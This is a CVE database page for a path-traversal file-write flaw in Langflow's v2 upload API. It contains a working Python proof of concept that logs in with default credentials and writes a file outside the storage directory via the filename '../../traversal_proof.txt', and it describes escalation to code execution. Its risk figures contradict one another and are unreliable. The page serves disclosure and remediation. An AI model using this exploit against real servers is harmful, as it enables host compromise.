CVE-2026-33309

CRITICALPre-NVD 9.99.9
EchelonGraph scoreMEDIUM confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.1%, top 80% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
Elevated
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: 1%CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Langflow has an Arbitrary File Write (RCE) via v2 API

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:
  • API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
  • Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

  • Sanitize the multipart filename before processing:

from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")
  • Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests

BASE_URL = "http://localhost:7860"

Authenticate to get a valid JWT

token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

Payload using directory traversal in the multipart filename

TRAVERSAL_FILENAME = "../../traversal_proof.txt" SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post( f"{BASE_URL}/api/v2/files/", headers={"Authorization": f"Bearer {token}"}, files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")}, )

print(f"Status: {resp.status_code}") # Returns 201

The file is successfully written to /app/data/.cache/langflow/traversal_proof.txt

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
Docker cntainer file:
user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures	secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

CVSS v3
9.9
EG Score
9.9(medium)
EPSS
69.7%
KEV
Not listed

Published

March 19, 2026

Last Modified

March 19, 2026

Vendor Advisories for CVE-2026-33309(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
langflow1.2.0 ... 1.8.4 (41 versions)1.9.0

Data Freshness Timeline

(refreshed 9× in last 7d / 40× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-12 05:46 UTCEPSS rescore
  2. 2026-07-11 08:27 UTCEPSS rescore
  3. 2026-07-09 19:10 UTCEPSS rescore
  4. 2026-07-08 15:15 UTCEPSS rescore
  5. 2026-07-07 13:46 UTCEPSS rescore
  6. 2026-07-06 16:27 UTCEPSS rescore
  7. 2026-07-06 16:27 UTCEPSS rescore
  8. 2026-07-06 02:23 UTCEPSS rescore
  9. 2026-07-06 02:23 UTCEPSS rescore
  10. 2026-07-05 02:30 UTCEPSS rescore
  11. 2026-07-04 06:31 UTCEPSS rescore
  12. 2026-07-01 15:06 UTCEPSS rescore
  13. 2026-06-30 23:22 UTCEPSS rescore
  14. 2026-06-29 13:23 UTCOSV refresh
  15. 2026-06-28 14:07 UTCEPSS rescore
  16. 2026-06-28 14:07 UTCEPSS rescore
  17. 2026-06-28 04:56 UTCEPSS rescore
  18. 2026-06-28 04:56 UTCEPSS rescore
  19. 2026-06-27 03:08 UTCEPSS rescore
  20. 2026-06-25 13:49 UTCEPSS rescore
  21. 2026-06-25 13:49 UTCEPSS rescore
  22. 2026-06-24 14:05 UTCEPSS rescore
  23. 2026-06-23 21:33 UTCEPSS rescore
  24. 2026-06-23 21:33 UTCEPSS rescore
  25. 2026-06-22 14:25 UTCEPSS rescore
Show 40 more
  1. 2026-06-22 14:25 UTCEPSS rescore
  2. 2026-06-21 14:56 UTCEPSS rescore
  3. 2026-06-21 14:56 UTCEPSS rescore
  4. 2026-06-21 01:59 UTCEPSS rescore
  5. 2026-06-19 19:25 UTCEPSS rescore
  6. 2026-06-19 19:25 UTCEPSS rescore
  7. 2026-06-18 17:52 UTCEPSS rescore
  8. 2026-06-18 17:52 UTCEPSS rescore
  9. 2026-06-17 17:53 UTCEPSS rescore
  10. 2026-06-16 17:52 UTCEPSS rescore
  11. 2026-06-15 17:49 UTCEPSS rescore
  12. 2026-06-14 23:18 UTCEPSS rescore
  13. 2026-06-13 23:00 UTCEPSS rescore
  14. 2026-06-12 23:12 UTCEPSS rescore
  15. 2026-06-12 23:12 UTCEPSS rescore
  16. 2026-06-12 03:56 UTCEG score recompute
  17. 2026-06-11 23:44 UTCEG score recompute
  18. 2026-06-11 14:00 UTCEPSS rescore
  19. 2026-06-10 22:18 UTCEPSS rescore
  20. 2026-06-10 20:00 UTCEG score recompute
  21. 2026-06-10 15:44 UTCEG score recompute
  22. 2026-06-10 13:22 UTCEPSS rescore
  23. 2026-06-10 10:57 UTCEG score recompute
  24. 2026-06-10 06:03 UTCEG score recompute
  25. 2026-06-10 01:50 UTCEG score recompute
  26. 2026-06-09 16:30 UTCEG score recompute
  27. 2026-06-08 14:17 UTCEPSS rescore
  28. 2026-06-08 14:17 UTCEPSS rescore
  29. 2026-06-08 07:48 UTCEG score recompute
  30. 2026-06-08 03:36 UTCEG score recompute
  31. 2026-06-07 23:25 UTCEG score recompute
  32. 2026-06-07 19:06 UTCEG score recompute
  33. 2026-06-07 15:25 UTCEPSS rescore
  34. 2026-06-07 15:25 UTCEPSS rescore
  35. 2026-06-07 15:25 UTCEPSS rescore
  36. 2026-06-07 14:21 UTCEG score recompute
  37. 2026-06-06 13:47 UTCEPSS rescore
  38. 2026-06-06 13:47 UTCEPSS rescore
  39. 2026-06-06 01:53 UTCEG score recompute
  40. 2026-06-06 01:53 UTCOSV refresh

Frequently asked(5)

What is CVE-2026-33309?
CVE-2026-33309 is a critical vulnerability published on March 19, 2026. Langflow has an Arbitrary File Write (RCE) via v2 API Summary While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks…
When was CVE-2026-33309 disclosed?
CVE-2026-33309 was first published in the National Vulnerability Database on March 19, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-33309 actively exploited?
CVE-2026-33309 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 69.7% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-33309?
CVE-2026-33309 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending).
How do I remediate CVE-2026-33309?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-33309, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-33309

Explore →

Is Your Infrastructure Affected by CVE-2026-33309?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.